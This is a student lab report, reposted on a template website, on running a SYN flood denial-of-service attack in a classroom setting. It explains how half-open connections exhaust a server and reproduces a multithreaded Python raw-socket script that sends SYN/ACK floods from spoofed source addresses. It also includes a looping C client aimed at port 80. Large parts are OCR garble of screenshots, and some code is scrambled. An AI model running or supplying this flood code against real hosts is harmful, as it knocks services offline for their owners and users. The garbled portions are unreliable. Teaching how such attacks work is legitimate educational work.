• 成功的定义
  • 成功的秘决
  • 成功的作文
  • 成功故事
  • 成功人士
  • 成功之道
  • 成功学演讲
  • 成功学书籍
  • 成功语录
  • 成功案例
  • 当前位置: 工作范文网 > 成功 > 成功语录 > 正文

    2017科研实验报告

    时间:2020-11-29 08:59:41 来源:工作范文网 本文已影响 工作范文网手机站

    PAGE

    PAGE # / 14

    实验五分析SYN FLOO(攻击原理

    一、 实验内容

    通过分小组实施 SYN FLood 攻击,掌握分布式拒绝服务攻击原理。

    二、 实验目的和要求

    实验目的

    本实验的教学目的是熟悉 SYN flood 的攻击原理与过程,及 IPv4 所存在的固有缺陷。

    实验要求

    本实验的基本要求: 学生在实验课前分小组准备, 每组分角色确定实施攻击者和被攻击 者,熟悉 SYN flood 的攻击原理与过程,观察攻击现象。

    三、 实验设备(软、硬件)

    硬件:性能较强的 PC机

    软件: Windows NT 操作系统

    四,实验设计方案;

    1 两个人一组,其中一人为攻击方,一人为被攻击方,被攻击方有一台 web 服务器,攻击

    方攻击对方得web服务器,

    2, 附 syn-flood 攻击得源码,注意攻击 ip 地址要做改动 五,实验原理

    在SYN Flood攻击中,黑客机器向受害主机发送大量伪造源地址的 TCP SYNB文,受

    害主机分配必要的资源,然后向源地址返回 SYW ACK包,并等待源端返回 ACK包。由于源

    地址是伪造的,所以源端永远都不会返回 ACK报文,受害主机继续发送 SYW ACK包,并将

    半连接放入端口的积压队列中, 虽然一般的主机都有超时机制和默认的重传次数, 但是由于 端口的半连接队列的长度是有限的,如果不断的向受害主机发送大量的 TCPSYN报文,半连

    接队列就会很快填满, 服务器拒绝新的连接, 将导致该端口无法响应其他机器进行的连接请 求,最终使受害主机的资源耗尽。

    六,实验方法及步骤

    1,被攻击方配置web服务器

    2, 攻击方设置要攻击服务器的 ip 地址,然后编译源程序。

    运行synflood,攻击web服务器

    4, 被攻击方打开命令行提示窗口, 运行 netstat 命令, 观察响应, netstat 命令显示 了所有当前连接,可以注意到 netstat 所返回的记录

    5,试着打开对方 web服务器的网页,观察结果;

    6,试着同时多台机器对同一 web服务器发起攻击,然后用一台机器登陆 web服务器,

    观察结果

    七,试验数据记录与处理

    此项可以不填

    八,试验结果及分析

    一台用户机攻击服务器(ubantu下python)

    r?ot$iyyj-Mlrtualffldic.hlnfc: /usr/lacaA/Ub/pytiHinl.TyyqflVT*- vtrt'Mil.-"|BEh-liMT: -S wdo sw[VUd?] f村 E^KQi*raot^j^a - virtual - rjchknA: /hifiA?/yiyJ7 cd /ut r rooti^if^a- virtual -wchkne i/ih

    r?ot$iyyj-Mlrtualffldic.hlnfc: /usr/lacaA/Ub/pytiHinl.T

    yyqflVT*- vtrt'Mil.-"|BEh-liMT: -S wdo sw

    [VUd?] f村 E^KQi*

    raot^j^a - virtual - rjchknA: /hifiA?/yiyJ7 cd /ut r rooti^if^a- virtual -wchkne i/ihr-F cd Local rDDt^ryB - vt^tusl - NChlne: /^5-r/lacj I* cd LtJb rnntforya-vlrtwol i^achinE ;/u s-r/lac-al ^llbi cd pytho^Zi 7 rgTfirjfb mW (v*1~ 社哙凯皿:fu弓r /14C41 m pyTht* h|>Z,肝

    m^ch ]P:17J.?.±23.B3

    attick FORTIN

    warier (tyn of ?ck of* tvnlack)s,yn ttWfBthreflds-^ Z55Q4|

    丙存

    5.1Z7.&G&C6S%]

    CPU 2% 147 GHz

    蓝牙

    rn-ra

    WLAN £i£: 0 itiCl- 0 ?bp

    WAR

    [ntel(R) CorefTM) i7-4720HQ CPU @ 2.:

    ITO*

    Z59GHE

    iilB¥

    2%

    111-6

    dttjr

    1.87 GHz

    砥蹄:

    PI殴:

    1570 4&028

    EWalTftlH

    1;01:02;07

    4

    聞n: 3 聽Al忧: LI iti年: 12时: L3埋耳:

    Z^6 KB

    1JDMB

    既d MB

    virtual mac Mm-:/?tsrAoul/llb/P¥ttie#i£.7

    -vlrtuiX chin<^ -S ivdg[tudd]邢 的VA::- ylrtuAl - Rachin* ■ /hoftt/yy^a cd /usr rccitp^v-i-vlrtu-hH - nachtiwj /us r* cd Loc-al virtu*!.- nachine

    -vlrtuiX chin<^ -S ivdg

    [tudd]邢 的VA::

    - ylrtuAl - Rachin* ■ /hoftt/yy^a cd /usr rccitp^v-i-vlrtu-hH - nachtiwj /us r* cd Loc-al virtu*!.- nachine; /usr/ L# c-d lib r^tVyy-f-vlrtwl-viachiwi/uBr/l^EBlA^bV cd p^thcml. 7 fvl.riu*! -ft^eh :削射 ^UeelA \ 和晦池 s ?■刖"曲 iwbz s 州

    atcack HPJ172.M.222.A1;

    itcack IPOfiT:fl4 rK>de:{5rn or jck nr tliSECthr^nds: 2550Q

    swi翻a空■加 磁 I9H MIBsElcSt

    Intel(R) CorefTM) i7-4720HQ CPU ? 2

    2.59 GHz

    1.87 GHz

    24%

    119

    1595 46749

    正箱话斤时词

    1:01:0329

    naff

    I3时

    es再 珈即 1.DM& "MR

    开启三个终端

    L1L-HKhLM :ypAf^li'ia-wlrtiflaL ■mch^BF: -f iLrfa vu tiuia]的症科: r*t>t|^?-rliri:iMl rkHm i <cf /Mirraatf |fY*"VLrtiul-FUchLM : /upnl cd L-dchL r-saef$r|iii- rLr tual-mKhLnv: /uar /l?£i?L|i cd Lit- vtrtiMlMtklM i c4 pyih^a:, tr?tfvY*-^(->"l:iul -Hvht?:

    L1

    L-HKhLM :

    ypAf^li'ia-wlrtiflaL ■mch^BF: -f iLrfa vu tiuia]的症科: r*t>t|^?-rliri:iMl rkHm i <cf /Mir

    raatf |fY*"VLrtiul-FUchLM : /upnl cd L-dchL r-saef$r|iii- rLr tual-mKhLnv: /uar /l?£i?L|i cd Lit- vtrtiMlMtklM i c4 pyih^a:, t

    r?tfvY*-^(->"l:iul -Hvht?: ^ypr^lwiil^Llli/f^thsn]-. Td python hL? .p^ ?ElK.k ]F:BTJ.ZZ.Za2.l>

    rwihi: ar ode or ivrd?ck)?ifn

    HfflHtk-Nda: Z>!bW

    40% 1.67 GHz

    12? 1B40 48H41

    JH

    *flq£l

    ?V甲趣却期伍也 Bi!片

    meofi ”

    yi*kf|r?-¥lrtvaL -HaEhiav: -f audo iu jsuM] o*的卷旧: rwqfifjiii-rtrtml-RKhtM: c4 /iSF

    r-saEf if'V111- v^r tua L-HichLm : ^uar* cd Loc?L FM輝济lull 髀fu肝八岂机|| Cd IW rtrtWl-wtCktM; Ct 力|小鉀比了

    r-aafcf si'Yft-vLrtual-HKf hLm: ^uar^LcciiL/>L1h/'|^YttKn3 . Tf python hb2 .py ^ClKk ]F:lTI.ZZ.2aJ.9¥

    ?tt-Kk wr:44i

    “E sir ?ck 口r ?YHl?ck胆pi

    ThfNdl! Z3-^M

    54CK_n?<-L ■壮

    SACK^KHi^L ?92

    Lir>4

    5A£k_HRM-L ■S^-13

    L*fM>

    LAM> M5&-14-4B

    mk] 540-im MB-zui* ui^narj utu 5*<|"-1J17 収L-J?a

    MEK] 5^q?D a^r-MMD

    5*q*l Ae>-1M Wir^L'bBMi L.

    mTWIEFS M. 541215 FJi. i

    r4.5-MlJ4

    M.S-MIM

    B5-.

    BS-.

    ■3-.&rM412

    fll. T1J4M

    丹t-2弧血询 21t. i M-. M. 1>M jiv.jM.za.i'n ZML l M. 20. IE 21-t-2J4--2D.l<q lJ4-L4.Zl.ig liM-L4.£1.19 1N-L+.Z1_IQ 1T4. L4. 71.ig in.14. n.n 1T4.14. Zli-K^

    lCTLaLW.*M?l

    IIRU.U-.IW*

    HTTW.i'jW

    Tier

    V2.H.1U.4J!

    TCP

    i7J.I2.2M.4A

    TCF

    44

    iJLH.ilH.41

    ■rcr

    httfE

    irr. irz.272.4-j

    TCF

    M

    lIr.7J.2U.4l

    TCP

    ?O

    lfl.72.JJJ.-l-J

    TCP

    M

    ita.rj.jTj.-i-i

    TCF

    Cd

    ljl.T2.2TJ.-l-J

    TCP

    MS

    iji. T2.2Z2.-I-J

    HTT?

    1-M

    IT J. R.27J!.-I-J

    TCP

    Cfl

    IT J. n-ZU-Al

    TCF

    竝巧e>

    AS4> w-tifb?

    *CK] II—4

    <K] 4Ck~l N1W-I6M LS4 M5S-EU4

    屮-1 wleulst吃 L?f>0

    Knrriii w-nrsf 皿母刑#

    W-3-UhB

    [TCF y jtE irf ■ r*iinM^-1?d POj] l?TT>-,rl.l HO -IH. (“lA舟*1 詔e> ■O-UTS9 [5¥*, M:K] BhT *<-^1 ■^in^l-4eai ■O-H.TSQ IMmI ±vq-l UB4 Hln^L^WD Lwi-M3

    Ml K-WTIQ IN. I ±?q-l Aclc-L Mn^]? Lvn-4

    t-d 叫VLHO |5¥*(, J£rJ EmHI frck-1 rlnp-57Wi lah-0 pHU雷 M£K_Pf?4-] ri-IDM e-a K-VLNO lATaj -frM-1 ufc-ISL vin-aJHM L?n-4

    然而,python代码并不能很好的攻击,因为 python语言比c和java等离机器语言更远, 大概运行速度是 c的1/30倍,后来经试验发现运行任何 Python所占用cpu在23左右。

    于是接下来采用 c语言,python代码如下:

    #!/usr/b in/pytho n

    #-*-codi ng:utf-8-*-

    import socket

    import struct

    import ran dom

    import threadi ng

    class myThread (threading.Thread): #

    def __init__(self,dstip,dstport,mode): threading.Thread.__init__(self) self.dstip = dstip self.dstport =dstport self.mode =mode

    def run(self):

    attack(self.dstip,self.dstport,self.mode)

    创建一个进程的方法

    def checksum(data): #

    s = 0

    n = len(data) % 2

    for i in range(0, len(data)-n, 2):

    s+= ord(data[i]) + (ord(data[i+1]) << 8) if n:

    s+= ord(data[i+1])

    while (s >> 16):

    s = (s & 0xFFFF) + (s >> 16)

    s = ~s & 0xffff

    return s

    检验和计算

    def IP(source,destination,udplen): #

    version = 4

    ihl = 5

    tos = 0

    tl = 20+udplen

    ip_id = random.randint(1,65535)

    flags = 0

    创建一个 ip 数据包头

    offset = 0

    ttl = 128

    protocol =6

    check =0

    source = socket.inet_aton(source) destination = socket.inet_aton(destination)

    ver_ihl = (version << 4)+ihl flags_offset = (flags << 13)+offset ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol, check, source, destination) check=checksum(ip_header) ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol,

    socket.htons(check),

    source, destination) return ip_header

    def TCP(srcip,dstip,protocol,dp,fg): # 创建一个 tcp 数据报头

    source = socket.inet_aton(srcip) destination = socket.inet_aton(dstip) srcport=random.randint(1,65535) dstport=dp

    syn_num=random.randint(1,4000000000)

    if fg == 2:

    ack_num=0

    else:

    ack_num=random.randint(1,4000000000)

    hlen=5

    zero=0

    flag=fg

    window=8192

    check=0

    point=0

    tcplen=hlen

    h_f=(hlen << 12)+flag

    TCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcpo rt,dstport,syn_num,ack_num,h_f,window,check,point)

    check=checksum(TCP_head)

    TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,che ck,point)

    选择 syn&ack 时的混合模式return TCP_head def makepacket(dstip,dstport,fg):

    选择 syn&ack 时的混合模式

    m.randint(1,255))+'.'+str(random.randint(1,255))

    protocol=6

    ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg) return ippacket def attack(dstip,dstport,mode): # 进攻

    if mode == 'syn':

    fg=2

    while 1:

    data=makepacket(dstip,dstport,fg) s.sendto(data,(dstip,dstport))

    elif mode == 'ack':

    fg=18

    while 1:

    data=makepacket(dstip,dstport,fg)

    s.sendto(data,(dstip,dstport))

    elif mode == 'syn&ack':

    while 1:

    data=makepacket(dstip,dstport,2)

    s.sendto(data,(dstip,dstport))

    data=makepacket(dstip,dstport,18)

    s.sendto(data,(dstip,dstport))

    else:

    print 'DON\'T bb!'

    提示用户输入提示用户输入提示用户输入

    提示用户输入

    提示用户输入

    提示用户输入

    提示用户输入

    8位

    dstport=int(input('attack PORT:')) #

    mode=raw_input('mode:(syn or ack or syn&ack)') # threads=int(input(" 线程数 threads : ")) #

    ip_first=[] # 遍历源地址的前 for i in range(1,10):

    ip_first.append(i)

    for i in range(11,172):

    ip_first.append(i)

    for i in range(173,192):

    ip_first.append(i)

    for i in range(193,224):

    ip_first.append(i)

    机器网s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6) # socket.AF_INET --> 络之间的通信

    机器网

    s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1) threads_name=[]

    for i in range(threads): # 为每个进程分配名字

    threads_name.append('theread'+str(i))

    for i in range(threads): # 创建每个进程

    threads_name[i]=myThread(dstip,dstport,mode)

    for i in range(threads): # 开始每个进程

    threads_name[i].start()

    用c语言实现:(ubantu下c)

    80端口未开时,进攻失败

    ■■iyi

    14?

    (R. WIS^SUI -L I:再甲11

    D^wvuu” rwirj Ml

    BDEapHirEK.

    JUun OflBuc DnkUsp

    USENET SEMtSerrice

    -.COMSyrfW

    K*duVunUliH^

    ATlKifMMS^ *the<TM5¥C

    MU 仙 iBeuDab—

    ■Kpnec.sune ^A&m^flvwp 二;^=

    ,ALG

    __ AdfUsvrLnH^flyvr-. 二 MCwp

    r JMSPTT^ifiKw

    ^MtwW _Cbud£pl>kHl 耳 veffl 谢 Xc

    =” 叱T呻

    ILEM

    17Bt

    2W

    kifcvI^R] Ccfilvnl Pr^tK lion HILI Wrac-i* £-DMt SyiAMI Appkdnion

    ■Cgmp K>册n曲娜『0亦对 BartiFtpait &?nkt

    BDH*5?W:e faduYUrrilbii^ ATK<iFMX&MYriC#

    St上 "止 Sff± e?± 巨甲上 e>± im^j 正在丘眄 e<± "上

    lAbSfl! iiNS*; URfMHA ! hftF-' LMfk. ph|B

    ire- - thfci, png" wtell:h-"M"血切抽山? *llgn-rrt^L4

    '2*「?寿5刘尹*冲鼻1>; Y* hr?f . ~1h4m ire1"曙"和―』

    g-p^l Lak. p*^~ wLdEhn" U" fee 璋 ht-J犷 ■L*Lpn■■-■IheL 虽ILiT bardtor

    * ib"

    r/SjI"

    *tr>

    xtfl 吟口F-crant tal^r. ~HaB4H>" tlw?_ha!*dEl-*■!.

    Prfcebi>; Inbhp i-rlng lirta^iipfain ¥/&6flli£.6R .fiLf" wLdEha "2*" haL^hEa'ZB" ■IWmP i.4d^ta >ii4m-; -b--EA5-T wdjf t? bwUd H-bftr¥t<. 口■【屮就 ur-atr sLch WMfn;] ta 屮MtTjtdir

    屮"

    c^tribL-n-

    ■ I'briy"-

    )fTa4>vy>,',vtrtu>|,L-K*cklaii:.舟Uitnl; c-mimc t rrr>sr I TT'Mny* -irlrtuaL -nadhlM : -f

    4ppUz-iHor Laj^r Swrf

    Aifcb? f lnJi ^Layflii UpcUA* ^nvior mo wtrtvmsw

    和补至—4JSZBS

    5冋应Kr阳対方旳 LbudZiptkMl 酗化帽Erem baker

    Rqnwi 恤—呵

    Hi?,

    己母_t

    e*上

    a*± e#± Bm±

    1

    LrSifi 厅

    玩曲1吁

    SEtfiin

    MWISV.. 口 g DcwHju.

    *^4rvH^in*ar1k ”i;avK J*?

    w/WLp

    C PU lht?l£RSi CflrtfTMl I7-4720HQ CPU @ 2

    *> iV

    jiff

    126

    L87 GHs

    iE^vajqW

    0:00:35:17

    ■tAAB

    m.

    2 59 GHz

    80端口打开时:

    ■碎 nw>

    1807 45931 十.

    LI*#

    L3?:

    254iS

    1HMI

    fiGMe

    I; Inbcp; ikn坷p; tnJH*; ChMQ^ [■inqy労寸:1*4「?=1闵?工.p^TgphFr.L Lfe-FEHfi ire."^phvrM^-fUp- UdL .pnfr- bMllk.-3B- ftHLghU":L4" ?i.LBn.-^bmLftll-i p打■y?j,?i;裁a; hrd-r-'ledi-ji,MV npfru-rvLMo-th^uiAfi £rc>bMp£trv^ru

    pllih.p^g" rtd%h.BjtT h#t|#ir-1,i6B *11阿'少严\40“? hrdfr.■(■&</?-

    Atp

    吋1ti?

    Vr* rtr?

    <Ed h*Lghli-l^~ bg?l?ri " vrr&2r|->?f aa'L c?Ldtn-iMMM- eL^ui 'hfl?dd- >-faibH >5prtrfc5#>!*<] sre-"MiAM:rv/so^tUm.flip n理di■■孙■ heljftT-'zfl' 乂1.■■必m rF>int¥p;?*>E4B-y 勺刊 t" Mid 理r.阿 14乂44 祖th ■阳Mr

    lanex/Sd* 时"?

    I:■■蓟 iO

    Hni?-¥^rImtiL-nacA!?■:-> ./tLlvnC fccl: F和榻艸-vtrTHl^MLiilM ! ■ 1 ||

    Inbip; lidiip; libvp; tnbi$;Y0 Chm^r Lmfuapi : l^ii Ihr"广iwfeH*

    ■ nfl-rr r-.1?^ in*■ ■oi^rv/-* I^hal piiif rft^Rh-'W hflflhT-"H' ■|tFM?l.t

    H- bor J?r" *>5' ■■/■*Wr4ihp; ■■ hml!"i'Lnd<ra-|ApFapp3?r¥L?ng*'?p' L^ 34-c>--<fifMr¥/f Lk ■a-*rqLlilt.K4' wndch.-ht' IwL小t/up iUHna-jbwid<q?- inrdivr.-t'MjKi-

    ■ br皿、■?

    ?fEdv

    cUS'P-'m'MIi Sr#r.ahr(p: .ir^HrbMqp=/f-i

    th. ^pfSar^rtrLvark. rtfrf

    <AL? 4/h1>

    瞬间内存占用在50左右。

    *ilfr

    ■eta HI.曲^f£-ia1arHpi^Fb?FfrHFafl<!弭Ar?dbM?M” “■"『2泌1_>114? |k*Vrt!5p; lMid#;*lhfl iri: -CM^W*v/Hfl:U?n& |ftr vt<lh> * ZB*- *Lli财

    lddla*>JiRiiip; fb^Laiy hu tc buLId Httvarvar^ DiiiLaluii! Sarwr vLth JL?5ar¥ :: ■ J<?b h 屮

    讣r?

    </-tataLi->

    ?“強"

    i/fecdf?-

    ?川也上

    经检验,运行其他 c语言程序时内存占用率大概在 25%左右,得出dos攻击的内存占

    用率大概在25%

    假设python也正常攻击,大概占用率不到 1%所以python脚本攻击基本上不能 dos

    用netstat 查看:

    TCP

    15:

    37489

    IdeaPad-PC

    http

    SVN_SENT

    TCP

    15:

    37490

    IdeaPad'PC

    http

    S¥N_SENT

    TCP

    15:

    37491

    IdeaPad-PC

    htt?

    SVN_SENT

    TCP

    15:

    37492

    IdeaPod'PC

    http

    SYH_SENT

    TCP

    15:

    37493

    IdeaPad—PC:

    http

    SVN_SENT

    TCP

    1S:

    37?4

    ItieaPatl'PC

    http

    SYN_SENT

    TCP

    15:

    37495

    IdeaPad-PC:

    http

    SVN.SENT

    TCP

    153

    374?6

    IdfrAF&d-FC

    E?N_SENT

    TCP

    15

    37497

    IdeaPad-PC;

    http

    SVN.SENT

    TCP

    172-22-217-115

    3749H

    Idv4Pail-PC

    http

    EVN_EENT

    TCP

    15

    37499

    IdeaPad-PC

    http

    SVN.SENT

    ICR

    15

    37500

    Id&aPad-PC

    http

    EYN.EENT

    TCF

    172.22.21?.115

    37501

    IdeaPad-PC

    http

    £¥N_£ENT

    TCP

    172,22.217-115

    3 7502

    IdeaPad-PC

    http

    SVN.SENT

    TCP

    172 .22.217.115

    37503

    IdeaPad-PC

    http

    £VN_£ENT

    TCP

    172,22,217,115

    37504

    IdeaPad-PC

    http

    SYN.SENT

    TCP

    15

    37505

    IdeaPad-PC

    http

    £?N_£ENT

    TCP

    172,22.217,115

    37506

    IdeaPad-PC

    http

    SYN.SENT

    TCP

    15

    3?507

    IdeaPad-PC

    http

    SVN-KENT

    TCP

    172,22.217.115

    37508

    IdeaPad-PC

    http

    SVN_SENT

    TCP

    15

    3?509

    IdeaPad-PC

    http

    £VN_£ENT

    TCP

    172.22.217,115

    37510

    IdeaPad-PC

    http

    SYNJSENT

    TCP

    15

    37511

    IdeaPad-PC

    http

    S¥N_£ENT

    TCP

    15

    %■/

    37512

    IdeaPad-PC

    http

    SVN_SENT

    鬪 ■ CAWindowsXsystem 3 SXcmd, exe

    c语言代码(改编自 win系统下的client.cpp 文件)

    #in clude <sys/socket.h> //li nux

    下的套接字协议头文件

    #in clude <n et inet/in .h> //

    网络连接头文件

    #in clude <n etdb.h>

    #include <arpa/inet.h>

    #include <stdlib.h>

    #include <string.h>//字符串头文件

    #include <string.h>

    //

    字符串头文件

    #include <stdio.h>

    #include "errno.h"//错误类型头文件

    #include "errno.h"

    //

    错误类型头文件

    #pragma comment(lib,"ws2_32.lib")

    #define INVALID_SOCKET 4294967295//

    #define INVALID_SOCKET 4294967295

    //

    定义 linux 下对应 windows 的无

    效值

    #define SOCKET_ERROR -1 //socketerror 的错误值 #define MAKEWORD(a, b) ((unsigned short)(((unsigned char)(((unsigned int)(a)) & 0xff)) | ((unsigned short)((unsigned char)(((unsigned int)(b)) & 0xff))) << 8))

    // 宏定义 makeword()

    int main(int argc, char* argv[])

    {

    int sockVersion = MAKEWORD(2,2);

    char data;

    int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 创建 s 套接字

    if(s == INVALID_SOCKET) // 检查 s 是否无效

    printf("invalid socket !");

    return 0;

    struct sockaddr_in serAddr;

    sockaddr_in 结构体

    serAddr.sin_family = AF_INET;

    //

    一般为定值

    serAddr.sin_port = htons(80);

    serAddr.sin_addr.s_addr

    击) ip 地址

    if (connect(s, (struct

    SOCKET_ERROR) //connnect

    {

    printf("connect error !");

    //close(s);

    //

    = inet_addr("3");

    sockaddr *)&serAddr,

    函数判断能否连接上目标

    //linux 下 的

    结构体里的 family 值, 端口号

    // 连接(攻

    sizeof(serAddr)) ==

    return 0;

    char * sendData = "

    你好,TCP服务端,我是客户端!\n";

    while(1){ // 循环执行语句, 模仿 dos 的无限次攻击

    send(s, sendData, strlen(sendData), 0); // 攻击发包

    char recData[255];

    int ret = recv(s, recData, 255, 0);

    if(ret > 0)

    {

    recData[ret] = 0x00;

    printf("%s",recData);

    }

    }

    return 0;

    }

    九,实验总结

    和 window且 win8Python 具有更大的类库, 编程更简单,但是相对较慢; c 语言编程上在 linux 下有一些差别,编程难度较 python 稍难,但运行速度比 python

    和 window

    且 win8

    十,参考资料

    《信息安全技术体系》——王斌君

    《 Linux 与 windows 的 socket 编程》——

    《DDos攻击与防御分析》一一

    461a3f2e487480a08bd5a626e32748a9

    • 下载文档
    • 收藏
    • 0

    有关的专题